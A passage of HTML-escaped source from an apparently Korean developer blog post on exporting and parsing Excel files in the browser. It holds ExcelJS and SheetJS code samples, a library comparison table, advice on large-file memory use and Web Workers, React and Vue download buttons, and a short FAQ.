    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이메일&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  ws&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addRows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rows&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 헤더 스타일&lt;/span&gt;
  ws&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getRow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eachCell&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;cell&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    cell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;font &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;bold&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;argb&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;FFFFFFFF&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    cell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fill &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pattern&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;solid&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;fgColor&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;argb&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;FF2F5597&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    cell&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;alignment &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;vertical&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;middle&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;horizontal&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;center&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; buffer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; wb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;xlsx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;writeBuffer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; blob &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Blob&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;buffer&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createObjectURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;blob&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;href &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; url
  a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;download &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;members.xlsx&quot;&lt;/span&gt;
  a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;revokeObjectURL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;SheetJS vs ExcelJS — 2026 비교표&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;SheetJS (xlsx) CE&lt;/th&gt;
&lt;th&gt;ExcelJS&lt;/th&gt;
&lt;th&gt;xlsx-populate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;라이선스&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;배포&lt;/td&gt;
&lt;td&gt;공식 CDN (&lt;code class=&quot;language-text&quot;&gt;cdn.sheetjs.com&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;npm&lt;/td&gt;
&lt;td&gt;npm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;지원 포맷&lt;/td&gt;
&lt;td&gt;XLSX/XLSM/XLSB/XLS/ODS/CSV&lt;/td&gt;
&lt;td&gt;XLSX/CSV&lt;/td&gt;
&lt;td&gt;XLSX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;읽기 속도&lt;/td&gt;
&lt;td&gt;매우 빠름&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;td&gt;빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;셀 서식(색/폰트)&lt;/td&gt;
&lt;td&gt;CE는 미지원 (Pro 필요)&lt;/td&gt;
&lt;td&gt;완전 지원&lt;/td&gt;
&lt;td&gt;부분 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;차트&lt;/td&gt;
&lt;td&gt;Pro만&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;td&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;번들 크기(gzip)&lt;/td&gt;
&lt;td&gt;약 600KB&lt;/td&gt;
&lt;td&gt;약 900KB&lt;/td&gt;
&lt;td&gt;약 250KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;학습 곡선&lt;/td&gt;
&lt;td&gt;낮음 (&lt;code class=&quot;language-text&quot;&gt;utils&lt;/code&gt; 중심)&lt;/td&gt;
&lt;td&gt;중간 (객체 모델)&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;추천 상황&lt;/td&gt;
&lt;td&gt;읽기·쓰기 위주 관리자 화면&lt;/td&gt;
&lt;td&gt;스타일 지정 리포트&lt;/td&gt;
&lt;td&gt;경량이 우선&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;한 문장 요약: &lt;strong&gt;&quot;단순 업/다운로드는 SheetJS, 보기 좋은 리포트는 ExcelJS.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;대용량 파일 주의 — 브라우저 메모리&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;FileReader&lt;/code&gt;로 읽을 수 있는 파일 크기는 이론적으로 수백 MB까지 가능하지만, &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;XLSX.read&lt;/code&gt;가 파싱하는 순간 메모리 사용량이 파일 크기의 3~5배&lt;/strong&gt;로 뛰는 경우가 많습니다. 50MB 엑셀이라도 파싱 중에 탭이 멈추는 이유입니다.&lt;/p&gt;
&lt;p&gt;실전 대응 전략:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;10MB가 넘어가면 서버 파싱&lt;/strong&gt;으로 우회. 업로드 후 백엔드(POI, openpyxl 등)에서 처리.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSV로 유도&lt;/strong&gt; — 사용자에게 템플릿을 CSV로 제공하면 파싱도 빠르고 메모리도 덜 씁니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;스트리밍이 필요하면 Node.js 환경에서 ExcelJS의 &lt;code class=&quot;language-text&quot;&gt;stream.xlsx.WorkbookReader&lt;/code&gt;&lt;/strong&gt; 사용 (브라우저에선 불가).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Worker에서 파싱&lt;/strong&gt; — 메인 스레드가 먹통이 되는 건 막을 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// worker.js&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;importScripts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;https://cdn.sheetjs.com/xlsx-latest/package/dist/xlsx.full.min.js&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function-variable function&quot;&gt;onmessage&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; wb &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;array&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rows &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sheet_to_json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sheets&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;wb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;SheetNames&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rows&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;React 에서 쓰기&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;xlsx&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ExcelExportButton&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; rows &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;onClick&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ws &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;json_to_sheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rows&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    ws&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;!cols&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;wch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;wch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;wch&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; wb &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;book_new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;utils&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;book_append_sheet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wb&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ws&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;목록&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;writeFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wb&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;export-&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;Date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;.xlsx&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;compression&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;button&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;onClick&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;onClick&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;엑셀 다운로드&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;button&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Vue 3 에서 쓰기&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vue&quot;&gt;&lt;pre class=&quot;language-vue&quot;&gt;&lt;code class=&quot;language-vue&quot;&gt;&amp;lt;script setup&amp;gt;
import * as XLSX from &amp;quot;xlsx&amp;quot;

const props = defineProps({ rows: Array })

function download() {
  const ws = XLSX.utils.json_to_sheet(props.rows)
  const wb = XLSX.utils.book_new()
  XLSX.utils.book_append_sheet(wb, ws, &amp;quot;목록&amp;quot;)
  XLSX.writeFile(wb, &amp;quot;export.xlsx&amp;quot;, { compression: true })
}
&amp;lt;/script&amp;gt;

&amp;lt;template&amp;gt;
  &amp;lt;button @click=&amp;quot;download&amp;quot;&amp;gt;엑셀 다운로드&amp;lt;/button&amp;gt;
&amp;lt;/template&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 한글이 깨집니다. 어떻게 해야 하나요?&lt;/h3&gt;
&lt;p&gt;대부분 &lt;strong&gt;CSV로 다운로드할 때&lt;/strong&gt;입니다. Excel이 UTF-8 CSV를 열 때 BOM이 없으면 EUC-KR로 추정해서 깨지는 현상인데, SheetJS는 CSV 쓰기 시 자동으로 BOM을 붙여줍니다. 직접 문자열로 CSV를 만드는 경우라면 앞에 &lt;code class=&quot;language-text&quot;&gt;\uFEFF&lt;/code&gt;를 붙여주세요. XLSX 포맷은 내부적으로 UTF-8이 강제라 한글이 깨질 일이 사실상 없습니다.&lt;/p&gt;
&lt;h3&gt;Q2. 수십 MB짜리 엑셀을 꼭 브라우저에서 처리해야 한다면?&lt;/h3&gt;
&lt;p&gt;솔직히 말씀드리면 &lt;strong&gt;권장하지 않습니다&lt;/strong&gt;. 그래도 해야 한다면 (1) Web Worker로 분리, (2) &lt;code class=&quot;language-text&quot;&gt;sheet_to_json&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;sheet_to_csv&lt;/code&gt;로 스트리밍 파싱, (3) 여러 시트로 분할된 파일이라면 필요한 시트만 &lt;code class=&quot;language-text&quot;&gt;sheetRows&lt;/code&gt; 옵션으로 제한해서 읽기 — 이 세 가지를 조합하세요.&lt;/p&gt;
&lt;h3&gt;Q3. 셀 색/폰트를 꼭 넣어야 한다면 Pro를 사야 하나요?&lt;/h3&gt;
&lt;p&gt;아니요. &lt;strong&gt;ExcelJS(MIT)로 공짜로 가능&lt;/strong&gt;합니다. SheetJS Pro는 차트·피벗·수식 서식 등 고급 기능이 필요한 B2B SaaS에서나 가치가 있고, 일반적인 관리자 페이지 리포트는 ExcelJS로 충분합니다.&lt;/p&gt;
&lt;h2&gt;관련 포스팅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/secure-context-http-https/&quot;&gt;Secure Context — HTTP vs HTTPS와 브라우저 API&lt;/a&gt; — 파일 다운로드 동작에 영향을 줄 수 있는 브라우저 보안 컨텍스트 이슈를 정리했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.sheetjs.com/&quot;&gt;SheetJS 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/exceljs/exceljs&quot;&gt;ExcelJS GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/dtjohnson/xlsx-populate&quot;&gt;xlsx-populate&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
